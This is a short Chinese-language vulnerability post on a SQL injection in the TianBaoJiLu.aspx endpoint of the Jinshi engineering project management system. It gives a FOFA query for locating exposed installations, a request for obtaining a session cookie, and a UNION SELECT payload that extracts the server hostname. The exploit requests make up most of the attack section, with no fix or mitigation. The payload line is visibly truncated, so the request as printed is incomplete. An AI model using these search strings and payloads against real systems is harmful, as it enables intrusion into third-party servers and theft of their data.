J19-1金石-工程项目管理系统-SQL

漏洞描述：

金石工程项目[管理系统](https://so.csdn.net/so/search?q=%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F&spm=1001.2101.3001.7020)TianBaoJiLu.aspx接口处存在SQL注入漏洞，攻击者可通过该漏洞获取数据

影响版本：

- 金石-工程项目管理系统

网站图片：

网络测绘：

fofa语法：

```
body="金石工程项目管理系统"
```

漏洞复现：

payload：

```
GET / HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
```

效果图:
访问根目录获取有效cookie


```
GET /query/shigongjihuajindu/TianBaoJiLu.aspx?id=1+Union+Select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,host_name(),23,24,25,26,27,28,29,30,31,32,33,34,35,
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Cookie: 获取到的cookie
Accept-Encoding: gzip
```

查询主机名